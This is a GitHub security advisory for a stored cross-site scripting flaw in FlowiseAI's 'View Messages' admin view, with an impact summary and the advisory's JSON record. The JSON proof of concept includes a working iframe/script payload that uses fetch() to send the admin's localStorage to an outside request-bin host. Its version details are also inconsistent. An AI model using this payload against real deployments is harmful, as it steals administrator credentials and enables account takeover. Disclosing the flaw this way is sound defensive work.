GHSA-964P-J4GG-MHWC

Vulnerability from github – Published: 2025-10-03 21:47 – Updated: 2025-10-13 17:38
VLAI?
Summary
Flowise is vulnerable to stored XSS via "View Messages" allows credential theft in FlowiseAI admin panel
Details

Summary

A stored Cross-Site Scripting (XSS) vulnerability in FlowiseAI allows a user to inject arbitrary JavaScript code via message input. When an administrator views messages using the "View Messages" button in the workflow UI, the malicious script executes in the context of the admin’s browser, enabling credential theft via access to localStorage.

Details

The vulnerability stems from a lack of input sanitization when displaying stored user messages in the admin interface. A specially crafted payload using <iframe srcdoc="..."> can include arbitrary JavaScript, which is executed when the message is rendered.

PoC

  1. Deploy a FlowiseAI agent and make it accessible via browser (e.g., embed on a website).
  2. Send the following payload via the agent's chat interface: ```html
    ``` 3. As an admin, go to the workflow and click **"View Messages"**. 4. The JavaScript is executed in the admin's browser, exfiltrating `localStorage` content to the attacker-controlled webhook endpoint. --- ### Impact - **Type:** Stored Cross-Site Scripting (XSS) - **Who is impacted:** Any admin viewing messages in the FlowiseAI UI - **Data at risk:** Admin credentials, or sensitive info stored in `localStorage` - **Severity:** High (Account takeover, admin privilege escalation, full panel compromise) --- ### Affected Products - **Ecosystem:** `npm` - **Package name:** `flowise` - **Affected versions:** `< 2.2.7` - **Patched versions:**`1`
Severity ?
9.3 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-50538"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-03T21:47:37Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\nA stored Cross-Site Scripting (XSS) vulnerability in FlowiseAI allows a user to inject arbitrary JavaScript code via message input. When an administrator views messages using the \"View Messages\" button in the workflow UI, the malicious script executes in the context of the admin\u2019s browser, enabling credential theft via access to `localStorage`.\n\n---\n\n### Details\nThe vulnerability stems from a lack of input sanitization when displaying stored user messages in the admin interface. A specially crafted payload using `\u003ciframe srcdoc=\"...\"\u003e` can include arbitrary JavaScript, which is executed when the message is rendered.\n\n---\n\n### PoC\n1. Deploy a FlowiseAI agent and make it accessible via browser (e.g., embed on a website).\n2. Send the following payload via the agent\u0027s chat interface:\n   ```html\n   \u003ciframe srcdoc=\"\u003cscript\u003efetch(\u0027http://requestbin.whapi.cloud/XXXXX?d=\u0027+encodeURIComponent(JSON.stringify(localStorage)))\u003c/script\u003e\"\u003e\n   ```\n3. As an admin, go to the workflow and click **\"View Messages\"**.\n4. The JavaScript is executed in the admin\u0027s browser, exfiltrating `localStorage` content to the attacker-controlled webhook endpoint.\n\n---\n\n### Impact\n- **Type:** Stored Cross-Site Scripting (XSS)\n- **Who is impacted:** Any admin viewing messages in the FlowiseAI UI\n- **Data at risk:** Admin credentials, or sensitive info stored in `localStorage`\n- **Severity:** High (Account takeover, admin privilege escalation, full panel compromise)\n\n---\n\n### Affected Products\n- **Ecosystem:** `npm`\n- **Package name:** `flowise`\n- **Affected versions:** `\u003c 2.2.7`\n- **Patched versions:**`1`",
  "id": "GHSA-964p-j4gg-mhwc",
  "modified": "2025-10-13T17:38:22Z",
  "published": "2025-10-03T21:47:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-964p-j4gg-mhwc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-50538"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/pull/4905"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/commit/9a06a85a8ddcbaeca1342827a5fea9087a587d97"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Flowise is vulnerable to stored XSS via \"View Messages\" allows credential theft in FlowiseAI admin panel"
}


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  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
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  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



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